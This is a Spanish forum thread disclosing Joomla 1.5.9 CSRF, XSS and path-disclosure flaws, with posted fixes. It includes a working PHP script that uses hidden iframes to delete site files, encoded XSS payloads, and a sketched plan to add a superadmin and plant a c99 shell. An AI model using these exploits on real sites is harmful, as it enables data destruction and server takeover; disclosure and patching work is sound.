Tema destacado: Suscripción al boletín mensual de elhacker.net
Autor
|
Tema: Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell] (Leído 12,948 veces)
|
WHK
吴阿卡
Moderador
 
Desconectado
Mensajes: 4.113
The Hacktivism is not a crime
|
Vulnerabilidad de tipo CSRF en Joomla! 1.5.9 He localizado una falla en Joomde tipo CSRF (Cross Site Rquest Forgery) que permite a un atacante la posibilidad de eliminar el directorio completo de imagenes lo cual sería fatál como para un sitio de noticias donde prescindisa de sus imagenes para poder dar su información. Esta falla no permite al atacante la posibilidad de subir un archivo ni eliminar los que estén fuera del directorio " /images". La falla se localiza en el módulo de Administracion llamado " Media Manager" donde su petición GET para solicitar la eliminación de un directorio o archivo no incluye ningún Token o sistema de seguridad válido para impedir este tipo de ataques. Prueba de concepto:ht tp://ejemplo.com/administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder= directorio&rm[]= Imagen.jpgEl punto es que la falla se localiza en el archivo administrator/com_media/controllers/file.php en la linea 136 donde se omite el token de seguridad:   Un atacante necesitaría que el un usuario del sistema Joomla tenga derechos de Administración y caiga en algún tipo de engaño como una imagen falsa que redireccione hacia el borradoinicialmente del index.html que impidía ver los archivos, una ves eliminado el mismo script podría tener la capacidad de listar todos los archivos a eliminar con un segundo ataque puesto por ejemplo dos veces en una misma firma dentro de algún foro o publicación parcial del mismo sistema como editor. Nota:Los archivos que pueden ser eliminados no necesariamente deben ser imagenes ya que el sistema solo permite la subida de imagenes pero la eliminación de cualquier tipo de archivo. Para poder repararlo solamente debes agregar el token de seguridad tal como aparece en la función de subida. Fuentes:http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.htmlhttp://www.jccharry.com/blog/2009/02/09/whk_vulnerabilidad-de-tipo-csrf-en-joomla-159.htmlhttp://forum.joomla.org/viewtopic.php?f=300&t=371705
|
|
|
|
« Última modificación: 27 Marzo 2009, 17:26 por WHK »
|
En línea
|
|
|
|
|
berz3k
|
hoho, nice!, mmm que los filtros de Joomla no estan agregados? a simple vista el code es vulnerable, con el simple hecho al llamado de la funcion, uff se jode todo con el CSRF.
-berz3k.
|
|
|
|
|
En línea
|
|
|
|
alakentu
Desconectado
Mensajes: 3
|
Hola.
Y como logramos impedir esto? Cual es el código a insertar/utilzar, para remediar dicha falla?
Será que soy muy bruto y ademas que no pico código que no lo veo por ningun lado!
Cual es la solución a esto hermano.?
|
|
|
|
|
En línea
|
|
|
|
alakentu
Desconectado
Mensajes: 3
|
Hola. Bueno la solución es sencilla, aquí está, buscamos el archivo <b>file.php</b>, que se encuentra en: ..administrator/components/com_media/controllers * En la línea 36 tenemos el llamado a la función upload: function upload() { global $mainframe;
// Check for request forgeries JRequest::checkToken( 'request' ) or jexit( 'Invalid Token' ); * Debemos cambiarlo por esto: function upload() { global $mainframe;
// Check for request forgeries JRequest::checkToken( 'request' ) or jexit(JText::_('JINVALID_TOKEN')); * Ahora buscamos el archivo <b>folder.php</b> de esa misma carpeta. * En la línea 57 tenemos if ($path !== JFile::makeSafe($path)) { * Cambiarlo a: if ($path !== JFilterInput::clean($path, 'path')) { Más abajo en la línea 100 tenemos: JRequest::checkToken() or jexit( 'Invalid Token' ); * Cambiarlo a: JRequest::checkToken() or jexit(JText::_('JINVALID_TOKEN')); * Seguimos más abajo en la línea 120 y tenemos: jimport('joomla.filesystem.*'); JFolder::create($path); JFile::write($path.DS."index.html", "<html>\n<body bgcolor=\"#FFFFFF\">\n</body>\n</html>"); * Cambiarlo a: jimport('joomla.filesystem.*'); JFolder::create($path); $file = '<html>\n<body>\n</body>\n</html>'; JFile::write($path.DS.'index.html', $file); Hasta ahora eso es todo lo que pude obtener. Saludos
|
|
|
|
|
En línea
|
|
|
|
|
berz3k
|
@alakentu, la gran magia del jexit(JText::_('JINVALID_TOKEN'));
-berz3k PD: Voy a probar el fix
|
|
|
|
|
En línea
|
|
|
|
Dacan
Desconectado
Mensajes: 191
|
Muy buen aporte, lo probare en localhost. saludos, Dacan 
|
|
|
|
|
En línea
|
 Follow me: @Dangonzalez94
|
|
|
|
|
WHK
吴阿卡
Moderador
 
Desconectado
Mensajes: 4.113
The Hacktivism is not a crime
|
Pero este no sería subforo de bugs y exploits sin el exploit XD <?php // Joomla 1.5.9 Eliminacion arbitraria del directorio de imagenes por WHK // http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html $WEB_VULNERABLE = 'http://www.ejemplo.com/'; if(!$archivos = obtener_archivos($WEB_VULNERABLE.'images/')){ echo '<iframe src="'.$WEB_VULNERABLE.'administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=&rm[]=index.html" width="1" height="1" frameborder="0"></iframe>'; ob_get_contents(); // Desplegamos el iframe y causamos una interrupcion... sleep(5); // Damos unos 5 segundos para que se elimine el index.html que protege al directorio } // Continuamos con el plan... if($archivos = obtener_archivos($WEB_VULNERABLE.'images/')){ /* Creamos los iframes que forzaran la eliminacion de todos los archivos de una sola vez */ foreach($archivos as $valor){ // Reconociendo si es archivo o directorio if(eregi('/', $valor[(count($valor)-1)])){ $tipo = 'folder'; }else{ $tipo = 'file'; } echo '<iframe src="'. $WEB_VULNERABLE.'administrator/index.php?option=com_media&task='.$tipo .'.delete&tmpl=component&folder=&rm[]='.urlencode($valor) .'" width="1" height="1" frameborder="0"></iframe>'; } } function obtener_archivos($url){ $buffer = explode(']"> <a href="', file_get_contents($url)); foreach($buffer as $item=> $valor){ if($item != '0'){ // Procesa solamente links $temporal = explode('"', $valor); $retorno[count($retorno)] = $temporal[0]; } } return $retorno; } ?> Metes este php dentro de un iframe por ahi en una web y le dices al administrador que la visualize :p pero está mas que claro que estoy demostrando el esenario de un atacante para que puedan comprender como protegerse, por ejemplo no aceptando todo tipo de links que vean, navegar sin scripts o con no-script para blokear esos dichosos iframes, nunca ver otros sitios webs con el usuario de administracion logueado, etc etc. PD: alakentu bienvenido al foro.
|
|
|
|
« Última modificación: 14 Febrero 2009, 00:57 por WHK »
|
En línea
|
|
|
|
alakentu
Desconectado
Mensajes: 3
|
De hecho...
La vulnerabilidad se presenta en varios archivos y no solamente en file.php y default.php del com_media.
Hay otros componentes de joomla 1.5.9 que poseen la misma característica de "permiso" a los malos, para que puedan darnos un mal día.
Recomeindo amplaimente seguir de creca los cambios en joomla a travez de Joomla Code.
Saludos.
|
|
|
|
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador
 
Desconectado
Mensajes: 4.113
The Hacktivism is not a crime
|
Vulnerabilidad de tipo XSS en Joomla! 1.5.9 Bueno, además del CSRF que habia encontrado anteriormente me topé con este nuevo bug buscando en las opciones de Administración. El componente afectado es el com_admin en la sección sysinfo como en el siguiente ejemplo: http://www.ejemplo.com/portada/administrator/index.php?option=com_admin&task=sysinfo El XSS se produce cuando se procesa el User-Agent del explorador declarado en las cabezeras:  Imagen en tamaño completo: http://img144.imageshack.us/img144/1456/dibujokw5.pngAhora si esto lo pasamos al javascript podremos tomar el valor del token y enviar peticiones POST via ajax para crear superadministradores o hacer cambios en cualquier configuración, con esto solo bastaría subir un mod con una shell y sería todo para el administrador. La desventaja para el atacante es que la explotación de un XSS via User-Agent solo era posible debido a fallas encontradas en flash tal como lo muestran en los siguientes enlaces: http://sla.ckers.org/forum/read.php?2,14534http://ha.ckers.org/blog/20070712/user-agent-spoofable-using-certain-programming-languages/http://kuza55.blogspot.com/2007/07/exploiting-reflected-xss.htmlPero hoy en dia no conozco ninguna forma de realizar dicha explotación, pero con el tiempo hemos aprendido de que nada es imposibles y cada dia aparecen nuevas formas de hacer las cosas, hasta entonces este bug queda en manos de los chicos 0days  una vez realizado esto las posibilidades de explotar la falla son muchisimas y podrías hasta comprometer el servidor por completo pero como decía, esto está dificil de explotar. De todas formas no deja de ser un bug y espero que Joomla pueda repararlo ya que en un futuro nadie sabe si se encontrará la forma de modificar dichas cabezeras y sería todo para los administradores de este sistema. La falla está en el archivo administrator/com_admin/tmpl/sysinfo_system.php Linea 93 <?php echo phpversion() <= "4.2.1" ? getenv( "HTTP_USER_AGENT" ) : $_SERVER['HTTP_USER_AGENT'];?> Modificar por: <?php echo phpversion() <= "4.2.1" ? htmlspecialchars(getenv( "HTTP_USER_AGENT" ), ENT_QUOTES) : htmlspecialchars($_SERVER['HTTP_USER_AGENT'], ENT_QUOTES);?> De todas formas veo que casi ningún dato va con escape de carácteres HTML, que pasaría si algún otro valor contiene carácteres especiales tambien? yo me aseguraría y modificaría cada salida de datos por htmlspecialchars($buffer, ENT_QUOTES). Fuente: http://forum.joomla.org/viewtopic.php?f=300&t=371705&start=0PD: conviné los post que habia hecho sobre joomla y los hize uno solo para que estubiera todo mas organizado y no hacer un tema cada ves que se encuentre alguna falla de esta version de joomla.
|
|
|
|
« Última modificación: 15 Febrero 2009, 04:57 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador
 
Desconectado
Mensajes: 4.113
The Hacktivism is not a crime
|
CSRF en el Componente "Installer" Bueno ya encontré otra falla  pero como todas las demás es poco probable su explotación inmediata pero posiblemente futura. Esta ves es un CSRF en el componente "Installer" donde el paquete ya sea plugin o módulo se sube e instala sin ningún tipo de Token de seguridad por lo cual si logras encontrar un CSRF en un <imput type="file"> podrás causar la instalación arbitraria de componentes, plantillas, módulos etc, incluso hasta podrías subir tu propia shell. http://www.ejemplo.com/portada/administrator/index.phpPOST /portada/administrator/index.php HTTP/1.1 Host: www.ejemplo.comUser-Agent: Mozilla/5.0 (es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.ejemplo.com/portada/administrator/index.php?option=com_installerCookie: Oculta Authorization: Oculta Content-Type: multipart/form-data; boundary=---------------------------169443243924626 Content-Length: 1022 -----------------------------169443243924626 Content-Disposition: form-data; name="install_package"; filename="test.zip" Content-Type: application/zipHTTP/1.x 200 OK Date: Sun, 15 Feb 2009 04:37:57 GMT Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.8 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Encoding: gzip X-Content-Encoded-By: Joomla! 1.5 Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Sun, 15 Feb 2009 04:38:10 GMT Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 ---------------------------------------------------------- Y donde está el token nuevamente????Talves la gente que vea estos post dirán que ando mal del mate (mal de la cabeza) porque este tipo de fallas hoy en dia no son explotables o por lo menos no por alguna técnica pública pero algún dia aparecerán y el dia en que esto suceda joomla será unos de los primeros candidatos para la explotación de estas múltiples fallas.
|
|
|
|
« Última modificación: 15 Febrero 2009, 05:42 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador
 
Desconectado
Mensajes: 4.113
The Hacktivism is not a crime
|
XSS Permanente en el componetne "Search" Un amigo por el mensajero me comentaba sobre algunas personas que se dedican a la programación que dicen "como es inexplotable no se parcha" y es entendible, si ves un bug que para ti es inexplotable lo mas probable es que no lo repares porque supuestamente no tiene ningún riesgo hasta que aparece la gente que si lo logra entonces recién lo reparan. En este caso creo que es similar ya que en el componente search dentro del panel de administración se puede ver el historial de busqueda y me llevé la sorpresa de que este no filtra ningún carácter y me pregunté.. "¿Porque??" entonces mejor comenzé a instalar joomla en mi localhost para ya no seguir desmadrando mi sitio  y pude comprobar que el componente Search de la portada o sea el que ve el visitante ya tiene un filtro el cual elimina todos los caácteres después del " <" por lo tanto pensando como el codeador "esto es inexplotable así que no nos preocupamos por mostrar el historial de busquedas en la administración poniendo ningún filtro", pero que pasa si logro evadir ese filtro? puedo comprometer al administrador? la respuesta es si y eso fue lo que sucedió. %3c%53%43%72%49%70%54%20%78%3d%78%3e%61%6c%65%72%74%28%30%30%30%30%30%29%3c%2f%73%43%72%49%70%54%3e Esto equivale a <SCrIpT x=x>alert(00000)</sCrIpT> Lo ponemos dentro de la caja del buscador y nos enviará directamente al formulario del buscador avanzado con esta busqueda sin ser filtrada, ahora cuando el joomla tiene petysurl activado lo hace via petición GET y no POST así que hay que doble encodear cada carácter, por ejemplo: http://127.0.0.1/joomla/index.php?searchword=%253c%2553%2543%2572%2549%2570%2554%2520%2578%253d%2578%253e%2561%256c%2565%2572%2574%2528%2530%2530%2530%2530%2530%2529%253c%252f%2573%2543%2572%2549%2570%2554%253e&ordering=newest&searchphrase=all&option=com_search Con esto ya el administrador podrá ver en su hermoso historial su XSS: http://127.0.0.1/joomla/administrator/index.php?option=com_search  Tamaño original: http://img443.imageshack.us/img443/9854/dibujo2zq7.pngMientras tanto que aparece el parche o actualización de joomla puedes desactivar el historial del buscador. Ya con todo esto como que estamos listos para crear nuestro exploit con token y todo, hacemos un php que lanze una petición POST al buscador y seguidamente lanzamos la redirección hacia el componente afectado para causar la ejecución arbitraria, luego el xss llamará a un archivo de javascript alojado en otro servidor que realizará las acciones y estas serán obtener el token de seguridad y agregar un nuevo superadministrador para nosotros, seguido por la creación de un componente con una shell c99 incrustada para ganar el acceso total al servidor y si es posible rootearlo dependiendo de la versión del mismo y el estado de seguridad que pueda tener. Voy a ir preparando los archivos para explicar paso por paso como hacerlo. Hasta la prox.
|
|
|
|
« Última modificación: 15 Febrero 2009, 07:26 por WHK »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador
 
Desconectado
Mensajes: 4.113
The Hacktivism is not a crime
|
Encontré varios file disclosure en caso de que puedas tener acceso a la administración y necesites saber la ruta exacta del script. Subes un archivo zip vacio al instalador de paquetes y te debuelve algo como esto: Warning: zip_read() expects parameter 1 to be resource, integer given in /var/www/public_html/portada/libraries/joomla/filesystem/archive/zip.php on line 234 PD: Me acaban de borrar el tema en el foro de joomla y les mandé un tracker pero no lo publicaron, será que no quieren que la gente sepa de la falla de seguridad hasta que salga el parche oficial? y hace tres dias que lo mandé a milw0rm y tampoco me han hecho caso jaja bueno, que cosas. Si sienten que estoy peinando la muñeca me avisan XD
|
|
|
|
« Última modificación: 16 Febrero 2009, 00:23 por WHK »
|
En línea
|
|
|
|
JosS__!
Desconectado
Mensajes: 16
|
Muy buen post WHK, la verdad es que siempre gusta testear los CMS más usados y conocer sus fallas. Pero en último bug que publicaste (arriba de este post) nombras file disclosure, y yo no veo la existencia de esa vulnerabilidad. En todo caso PATH DISCLOSURE. Que por cierto, en su día publique algo parecido para LOKICMS. LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploithttp://milw0rm.com/exploits/6737Saludos!!
|
|
|
|
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador
 
Desconectado
Mensajes: 4.113
The Hacktivism is not a crime
|
Si, tienes razón no es file disclosure sino path disclosure  Tu tienes suerte  no se porqué pero sty0ke no publicó el bug de joomla 1.5.9 pero bueno, que le vamos a hacer. Ultimamente he estado mas censurado que pelicula porno en jardin infantil.
|
|
|
|
|
En línea
|
|
|
|
|
|